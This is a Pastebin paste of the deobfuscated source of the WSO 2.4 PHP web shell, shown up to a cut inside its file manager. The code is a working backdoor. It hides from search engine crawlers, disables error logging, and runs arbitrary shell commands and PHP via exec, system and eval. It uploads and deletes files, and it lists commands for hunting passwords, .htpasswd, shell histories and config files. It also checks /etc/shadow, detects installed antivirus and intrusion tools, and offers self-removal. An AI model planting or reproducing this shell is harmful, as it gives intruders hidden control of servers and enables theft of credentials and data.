loganbr

wso-php-shell-des-ofuscado

Aug 31st, 2014
640
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 79.11 KB | None | 0 0
  1. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  2. $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
  3. if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  4. header('HTTP/1.0 404 Not Found');
  5. exit;
  6. }
  7. }
  8.  
  9.  
  10. @session_start();
  11. @ini_set('error_log',NULL);
  12. @ini_set('log_errors',0);
  13. @ini_set('max_execution_time',0);
  14. @set_time_limit(0);
  15. @set_magic_quotes_runtime(0);
  16. @define('WSO_VERSION', '2.4');
  17.  
  18.  
  19. if(get_magic_quotes_gpc()) {
  20. function WSOstripslashes($array) {
  21. return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
  22. }
  23. $_POST = WSOstripslashes($_POST);
  24. }
  25.  
  26.  
  27. function wsoLogin() {
  28. die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
  29. }
  30.  
  31.  
  32. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
  33. if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
  34. $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  35. else
  36. wsoLogin();
  37.  
  38.  
  39. if(strtolower(substr(PHP_OS,0,3)) == "win")
  40. $os = 'win';
  41. else
  42. $os = 'nix';
  43.  
  44.  
  45. $safe_mode = @ini_get('safe_mode');
  46. if(!$safe_mode)
  47. error_reporting(0);
  48.  
  49.  
  50. $disable_functions = @ini_get('disable_functions');
  51. $home_cwd = @getcwd();
  52. if(isset($_POST['c']))
  53. @chdir($_POST['c']);
  54. $cwd = @getcwd();
  55. if($os == 'win') {
  56. $home_cwd = str_replace("\\", "/", $home_cwd);
  57. $cwd = str_replace("\\", "/", $cwd);
  58. }
  59. if( $cwd[strlen($cwd)-1] != '/' )
  60. $cwd .= '/';
  61.  
  62.  
  63. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax']))
  64. $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$GLOBALS['default_use_ajax'];
  65.  
  66.  
  67. if($os == 'win')
  68. $aliases = array(
  69. "List Directory" => "dir",
  70. "Find index.php in current dir" => "dir /s /w /b index.php",
  71. "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
  72. "Show active connections" => "netstat -an",
  73. "Show running services" => "net start",
  74. "User accounts" => "net user",
  75. "Show computers" => "net view",
  76. "ARP Table" => "arp -a",
  77. "IP Configuration" => "ipconfig /all"
  78. );
  79. else
  80. $aliases = array(
  81. "List dir" => "ls -lha",
  82. "list file attributes on a Linux second extended file system" => "lsattr -va",
  83. "show opened ports" => "netstat -an | grep -i listen",
  84. "process status" => "ps aux",
  85. "Find" => "",
  86. "find all suid files" => "find / -type f -perm -04000 -ls",
  87. "find suid files in current dir" => "find . -type f -perm -04000 -ls",
  88. "find all sgid files" => "find / -type f -perm -02000 -ls",
  89. "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  90. "find config.inc.php files" => "find / -type f -name config.inc.php",
  91. "find config* files" => "find / -type f -name \"config*\"",
  92. "find config* files in current dir" => "find . -type f -name \"config*\"",
  93. "find all writable folders and files" => "find / -perm -2 -ls",
  94. "find all writable folders and files in current dir" => "find . -perm -2 -ls",
  95. "find all service.pwd files" => "find / -type f -name service.pwd",
  96. "find service.pwd files in current dir" => "find . -type f -name service.pwd",
  97. "find all .htpasswd files" => "find / -type f -name .htpasswd",
  98. "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  99. "find all .bash_history files" => "find / -type f -name .bash_history",
  100. "find .bash_history files in current dir" => "find . -type f -name .bash_history",
  101. "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  102. "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
  103. "Locate" => "",
  104. "locate httpd.conf files" => "locate httpd.conf",
  105. "locate vhosts.conf files" => "locate vhosts.conf",
  106. "locate proftpd.conf files" => "locate proftpd.conf",
  107. "locate psybnc.conf files" => "locate psybnc.conf",
  108. "locate my.conf files" => "locate my.conf",
  109. "locate admin.php files" =>"locate admin.php",
  110. "locate cfg.php files" => "locate cfg.php",
  111. "locate conf.php files" => "locate conf.php",
  112. "locate config.dat files" => "locate config.dat",
  113. "locate config.php files" => "locate config.php",
  114. "locate config.inc files" => "locate config.inc",
  115. "locate config.inc.php" => "locate config.inc.php",
  116. "locate config.default.php files" => "locate config.default.php",
  117. "locate config* files " => "locate config",
  118. "locate .conf files"=>"locate '.conf'",
  119. "locate .pwd files" => "locate '.pwd'",
  120. "locate .sql files" => "locate '.sql'",
  121. "locate .htpasswd files" => "locate '.htpasswd'",
  122. "locate .bash_history files" => "locate '.bash_history'",
  123. "locate .mysql_history files" => "locate '.mysql_history'",
  124. "locate .fetchmailrc files" => "locate '.fetchmailrc'",
  125. "locate backup files" => "locate backup",
  126. "locate dump files" => "locate dump",
  127. "locate priv files" => "locate priv"
  128. );
  129.  
  130.  
  131. function wsoHeader() {
  132. if(empty($_POST['charset']))
  133. $_POST['charset'] = $GLOBALS['default_charset'];
  134. global $color;
  135. echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title>
  136. <style>
  137. body{background-color:#444;color:#e1e1e1;}
  138. body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
  139. table.info{ color:#fff;background-color:#222; }
  140. span,h1,a{ color: $color !important; }
  141. span{ font-weight: bolder; }
  142. h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
  143. div.content{ padding: 5px;margin-left:5px;background-color:#333; }
  144. a{ text-decoration:none; }
  145. a:hover{ text-decoration:underline; }
  146. .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
  147. .bigarea{ width:100%;height:250px; }
  148. input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
  149. form{ margin:0px; }
  150. #toolsTbl{ text-align:center; }
  151. .toolsInp{ width: 300px }
  152. .main th{text-align:left;background-color:#5e5e5e;}
  153. .main tr:hover{background-color:#5e5e5e}
  154. .l1{background-color:#444}
  155. .l2{background-color:#333}
  156. pre{font-family:Courier,Monospace;}
  157. </style>
  158. <script>
  159. var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
  160. var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
  161. var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
  162. var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
  163. var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
  164. var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
  165. var d = document;
  166. function set(a,c,p1,p2,p3,charset) {
  167. if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
  168. if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
  169. if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
  170. if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
  171. if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
  172. if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
  173. }
  174. function g(a,c,p1,p2,p3,charset) {
  175. set(a,c,p1,p2,p3,charset);
  176. d.mf.submit();
  177. }
  178. function a(a,c,p1,p2,p3,charset) {
  179. set(a,c,p1,p2,p3,charset);
  180. var params = 'ajax=true';
  181. for(i=0;i<d.mf.elements.length;i++)
  182. params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
  183. sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
  184. }
  185. function sr(url, params) {
  186. if (window.XMLHttpRequest)
  187. req = new XMLHttpRequest();
  188. else if (window.ActiveXObject)
  189. req = new ActiveXObject('Microsoft.XMLHTTP');
  190. if (req) {
  191. req.onreadystatechange = processReqChange;
  192. req.open('POST', url, true);
  193. req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
  194. req.send(params);
  195. }
  196. }
  197. function processReqChange() {
  198. if( (req.readyState == 4) )
  199. if(req.status == 200) {
  200. var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
  201. var arr=reg.exec(req.responseText);
  202. eval(arr[2].substr(0, arr[1]));
  203. } else alert('Request error!');
  204. }
  205. </script>
  206. <head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
  207. <form method=post name=mf style='display:none;'>
  208. <input type=hidden name=a>
  209. <input type=hidden name=c>
  210. <input type=hidden name=p1>
  211. <input type=hidden name=p2>
  212. <input type=hidden name=p3>
  213. <input type=hidden name=charset>
  214. </form>";
  215. $freeSpace = @diskfreespace($GLOBALS['cwd']);
  216. $totalSpace = @disk_total_space($GLOBALS['cwd']);
  217. $totalSpace = $totalSpace?$totalSpace:1;
  218. $release = @php_uname('r');
  219. $kernel = @php_uname('s');
  220. $explink = 'http://exploit-db.com/list.php?description=';
  221. if(strpos('Linux', $kernel) !== false)
  222. $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
  223. else
  224. $explink .= urlencode($kernel . ' ' . substr($release,0,3));
  225. if(!function_exists('posix_getegid')) {
  226. $user = @get_current_user();
  227. $uid = @getmyuid();
  228. $gid = @getmygid();
  229. $group = "?";
  230. } else {
  231. $uid = @posix_getpwuid(posix_geteuid());
  232. $gid = @posix_getgrgid(posix_getegid());
  233. $user = $uid['name'];
  234. $uid = $uid['uid'];
  235. $group = $gid['name'];
  236. $gid = $gid['gid'];
  237. }
  238.  
  239.  
  240. $cwd_links = '';
  241. $path = explode("/", $GLOBALS['cwd']);
  242. $n=count($path);
  243. for($i=0; $i<$n-1; $i++) {
  244. $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
  245. for($j=0; $j<=$i; $j++)
  246. $cwd_links .= $path[$j].'/';
  247. $cwd_links .= "\")'>".$path[$i]."/</a>";
  248. }
  249.  
  250.  
  251. $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
  252. $opt_charsets = '';
  253. foreach($charsets as $item)
  254. $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
  255.  
  256.  
  257. $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
  258. if(!empty($GLOBALS['auth_pass']))
  259. $m['Logout'] = 'Logout';
  260. $m['Self remove'] = 'SelfRemove';
  261. $menu = '';
  262. foreach($m as $k => $v)
  263. $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
  264.  
  265.  
  266. $drives = "";
  267. if($GLOBALS['os'] == 'win') {
  268. foreach(range('c','z') as $drive)
  269. if(is_dir($drive.':\\'))
  270. $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
  271. }
  272. echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
  273. . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>')
  274. . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
  275. . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
  276. . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
  277. }
  278.  
  279.  
  280. function wsoFooter() {
  281. $is_writable = is_writable($GLOBALS['cwd'])?" <font color='#25ff00'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
  282. echo "
  283. </div>
  284. <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
  285. <tr>
  286. <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
  287. <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
  288. </tr><tr>
  289. <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
  290. <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
  291. </tr><tr>
  292. <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
  293. <td><form method='post' ENCTYPE='multipart/form-data'>
  294. <input type=hidden name=a value='FilesMAn'>
  295. <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
  296. <input type=hidden name=p1 value='uploadFile'>
  297. <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
  298. <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
  299. </tr></table></div></body></html>";
  300. }
  301.  
  302.  
  303. if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
  304. function posix_getpwuid($p) {return false;} }
  305. if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
  306. function posix_getgrgid($p) {return false;} }
  307.  
  308.  
  309. function wsoEx($in) {
  310. $out = '';
  311. if (function_exists('exec')) {
  312. @exec($in,$out);
  313. $out = @join("\n",$out);
  314. } elseif (function_exists('passthru')) {
  315. ob_start();
  316. @passthru($in);
  317. $out = ob_get_clean();
  318. } elseif (function_exists('system')) {
  319. ob_start();
  320. @system($in);
  321. $out = ob_get_clean();
  322. } elseif (function_exists('shell_exec')) {
  323. $out = shell_exec($in);
  324. } elseif (is_resource($f = @popen($in,"r"))) {
  325. $out = "";
  326. while(!@feof($f))
  327. $out .= fread($f,1024);
  328. pclose($f);
  329. }
  330. return $out;
  331. }
  332. function wsoViewSize($s) {
  333. if($s >= 1073741824)
  334. return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  335. elseif($s >= 1048576)
  336. return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  337. elseif($s >= 1024)
  338. return sprintf('%1.2f', $s / 1024 ) . ' KB';
  339. else
  340. return $s . ' B';
  341. }
  342.  
  343.  
  344. function wsoPerms($p) {
  345. if (($p & 0xC000) == 0xC000)$i = 's';
  346. elseif (($p & 0xA000) == 0xA000)$i = 'l';
  347. elseif (($p & 0x8000) == 0x8000)$i = '-';
  348. elseif (($p & 0x6000) == 0x6000)$i = 'b';
  349. elseif (($p & 0x4000) == 0x4000)$i = 'd';
  350. elseif (($p & 0x2000) == 0x2000)$i = 'c';
  351. elseif (($p & 0x1000) == 0x1000)$i = 'p';
  352. else $i = 'u';
  353. $i .= (($p & 0x0100) ? 'r' : '-');
  354. $i .= (($p & 0x0080) ? 'w' : '-');
  355. $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
  356. $i .= (($p & 0x0020) ? 'r' : '-');
  357. $i .= (($p & 0x0010) ? 'w' : '-');
  358. $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
  359. $i .= (($p & 0x0004) ? 'r' : '-');
  360. $i .= (($p & 0x0002) ? 'w' : '-');
  361. $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
  362. return $i;
  363. }
  364.  
  365.  
  366. function wsoPermsColor($f) {
  367. if (!@is_readable($f))
  368. return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
  369. elseif (!@is_writable($f))
  370. return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
  371. else
  372. return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
  373. }
  374.  
  375.  
  376. if(!function_exists("scandir")) {
  377. function scandir($dir) {
  378. $dh = opendir($dir);
  379. while (false !== ($filename = readdir($dh)))
  380. $files[] = $filename;
  381. return $files;
  382. }
  383. }
  384.  
  385.  
  386. function wsoWhich($p) {
  387. $path = wsoEx('which ' . $p);
  388. if(!empty($path))
  389. return $path;
  390. return false;
  391. }
  392.  
  393.  
  394. function actionSecInfo() {
  395. wsoHeader();
  396. echo '<h1>Server security information</h1><div class=content>';
  397. function wsoSecParam($n, $v) {
  398. $v = trim($v);
  399. if($v) {
  400. echo '<span>' . $n . ': </span>';
  401. if(strpos($v, "\n") === false)
  402. echo $v . '<br>';
  403. else
  404. echo '<pre class=ml1>' . $v . '</pre>';
  405. }
  406. }
  407.  
  408.  
  409. wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
  410. if(function_exists('apache_get_modules'))
  411. wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
  412. wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
  413. wsoSecParam('Open base dir', @ini_get('open_basedir'));
  414. wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
  415. wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
  416. wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
  417. $temp=array();
  418. if(function_exists('mysql_get_client_info'))
  419. $temp[] = "MySql (".mysql_get_client_info().")";
  420. if(function_exists('mssql_connect'))
  421. $temp[] = "MSSQL";
  422. if(function_exists('pg_connect'))
  423. $temp[] = "PostgreSQL";
  424. if(function_exists('oci_connect'))
  425. $temp[] = "Oracle";
  426. wsoSecParam('Supported databases', implode(', ', $temp));
  427. echo '<br>';
  428.  
  429.  
  430. if($GLOBALS['os'] == 'nix') {
  431. wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
  432. wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
  433. wsoSecParam('OS version', @file_get_contents('/proc/version'));
  434. wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
  435. if(!$GLOBALS['safe_mode']) {
  436. $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  437. $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  438. $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  439. echo '<br>';
  440. $temp=array();
  441. foreach ($userful as $item)
  442. if(wsoWhich($item))
  443. $temp[] = $item;
  444. wsoSecParam('Userful', implode(', ',$temp));
  445. $temp=array();
  446. foreach ($danger as $item)
  447. if(wsoWhich($item))
  448. $temp[] = $item;
  449. wsoSecParam('Danger', implode(', ',$temp));
  450. $temp=array();
  451. foreach ($downloaders as $item)
  452. if(wsoWhich($item))
  453. $temp[] = $item;
  454. wsoSecParam('Downloaders', implode(', ',$temp));
  455. echo '<br/>';
  456. wsoSecParam('HDD space', wsoEx('df -h'));
  457. wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
  458. }
  459. } else {
  460. wsoSecParam('OS Version',wsoEx('ver'));
  461. wsoSecParam('Account Settings',wsoEx('net accounts'));
  462. wsoSecParam('User Accounts',wsoEx('net user'));
  463. }
  464. echo '</div>';
  465. wsoFooter();
  466. }
  467.  
  468.  
  469. function actionPhp() {
  470. if(isset($_POST['ajax'])) {
  471. $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
  472. ob_start();
  473. eval($_POST['p1']);
  474. $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
  475. echo strlen($temp), "\n", $temp;
  476. exit;
  477. }
  478. wsoHeader();
  479. if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
  480. echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
  481. ob_start();
  482. phpinfo();
  483. $tmp = ob_get_clean();
  484. $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
  485. $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
  486. echo str_replace('<h1','<h2', $tmp) .'</div><br>';
  487. }
  488. if(empty($_POST['ajax']) && !empty($_POST['p1']))
  489. $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
  490. echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
  491. echo ' <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
  492. if(!empty($_POST['p1'])) {
  493. ob_start();
  494. eval($_POST['p1']);
  495. echo htmlspecialchars(ob_get_clean());
  496. }
  497. echo '</pre></div>';
  498. wsoFooter();
  499. }
  500.  
  501.  
  502. function actionFilesMan() {
  503. wsoHeader();
  504. echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
  505. if(!empty($_POST['p1'])) {
  506. switch($_POST['p1']) {
  507. case 'uploadFile':
  508. if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
  509. echo "Can't upload file!";
  510. break;
  511. case 'mkdir':
  512. if(!@mkdir($_POST['p2']))
  513. echo "Can't create new dir";
  514. break;
  515. case 'delete':
  516. function deleteDir($path) {
  517. $path = (substr($path,-1)=='/') ? $path:$path.'/';
  518. $dh = opendir($path);
  519. while ( ($item = readdir($dh) ) !== false) {
  520. $item = $path.$item;
  521. if ( (basename($item) == "..") || (basename($item) == ".") )
  522. continue;
  523. $type = filetype($item);
  524. if ($type == "dir")
  525. deleteDir($item);
  526. else
  527. @unlink($item);
  528. }
  529. closedir($dh);
  530. @rmdir($path);
  531. }
  532. if(is_array(@$_POST['f']))
  533. foreach($_POST['f'] as $f) {
  534. if($f == '..')
  535. continue;
  536. $f = urldecode($f);
  537. if(is_dir($f))
  538. deleteDir($f);
  539. else
  540. @unlink($f);
  541. }
  542. break;
  543. case 'paste':
  544. if($_SESSION['act'] == 'copy') {
  545. function copy_paste($c,$s,$d){
  546. if(is_dir($c.$s)){
  547. mkdir($d.$s);
  548. $h = @opendir($c.$s);
  549. while (($f = @readdir($h)) !== false)
  550. if (($f != ".") and ($f != ".."))
  551. copy_paste($c.$s.'/',$f, $d.$s.'/');
  552. } elseif(is_file($c.$s))
  553. @copy($c.$s, $d.$s);
  554. }
  555. foreach($_SESSION['f'] as $f)
  556. copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']);
  557. } elseif($_SESSION['act'] == 'move') {
  558. function move_paste($c,$s,$d){
  559. if(is_dir($c.$s)){
  560. mkdir($d.$s);
  561. $h = @opendir($c.$s);
  562. while (($f = @readdir($h)) !== false)
  563. if (($f != ".") and ($f != ".."))
  564. copy_paste($c.$s.'/',$f, $d.$s.'/');
  565. } elseif(@is_file($c.$s))
  566. @copy($c.$s, $d.$s);
  567. }
  568. foreach($_SESSION['f'] as $f)
  569. @rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f);
  570. } elseif($_SESSION['act'] == 'zip') {
  571. if(class_exists('ZipArchive')) {
  572. $zip = new ZipArchive();
  573. if ($zip->open($_POST['p2'], 1)) {
  574. chdir($_SESSION['c']);
  575. foreach($_SESSION['f'] as $f) {
  576. if($f == '..')
  577. continue;
  578. if(@is_file($_SESSION['c'].$f))
  579. $zip->addFile($_SESSION['c'].$f, $f);
  580. elseif(@is_dir($_SESSION['c'].$f)) {
  581. $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
  582. foreach ($iterator as $key=>$value) {
  583. $zip->addFile(realpath($key), $key);
  584. }
  585. }
  586. }
  587. chdir($GLOBALS['cwd']);
  588. $zip->close();
  589. }
  590. }
  591. } elseif($_SESSION['act'] == 'unzip') {
  592. if(class_exists('ZipArchive')) {
  593. $zip = new ZipArchive();
  594. foreach($_SESSION['f'] as $f) {
  595. if($zip->open($_SESSION['c'].$f)) {
  596. $zip->extractTo($GLOBALS['cwd']);
  597. $zip->close();
  598. }
  599. }
  600. }
  601. } elseif($_SESSION['act'] == 'tar') {
  602. chdir($_SESSION['c']);
  603. $_SESSION['f'] = array_map('escapeshellarg', $_SESSION['f']);
  604. wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_SESSION['f']));
  605. chdir($GLOBALS['cwd']);
  606. }
  607. unset($_SESSION['f']);
  608. break;
  609. default:
  610. if(!empty($_POST['p1'])) {
  611. $_SESSION['act'] = @$_POST['p1'];
  612. $_SESSION['f'] = @$_POST['f'];
  613. foreach($_SESSION['f'] as $k => $f)
  614. $_SESSION['f'][$k] = urldecode($f);
  615. $_SESSION['c'] = @$_POST['c'];
  616. }
  617. break;
  618. }
  619. }
  620. $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
  621. if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
  622. global $sort;
  623. $sort = array('name', 1);
  624. if(!empty($_POST['p1'])) {
  625. if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
  626. $sort = array($match[1], (int)$match[2]);
  627. }
  628. echo "<script>
  629. function sa() {
  630. for(i=0;i<d.files.elements.length;i++)
  631. if(d.files.elements[i].type == 'checkbox')
  632. d.files.elements[i].checked = d.files.elements[0].checked;
  633. }
  634. </script>
  635. <table width='100%' class='main' cellspacing='0' cellpadding='2'>
  636. <form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
  637. $dirs = $files = array();
  638. $n = count($dirContent);
  639. for($i=0;$i<$n;$i++) {
  640. $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
  641. $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
  642. $tmp = array('name' => $dirContent[$i],
  643. 'path' => $GLOBALS['cwd'].$dirContent[$i],
  644. 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
  645. 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
  646. 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
  647. 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
  648. 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
  649. );
  650. if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
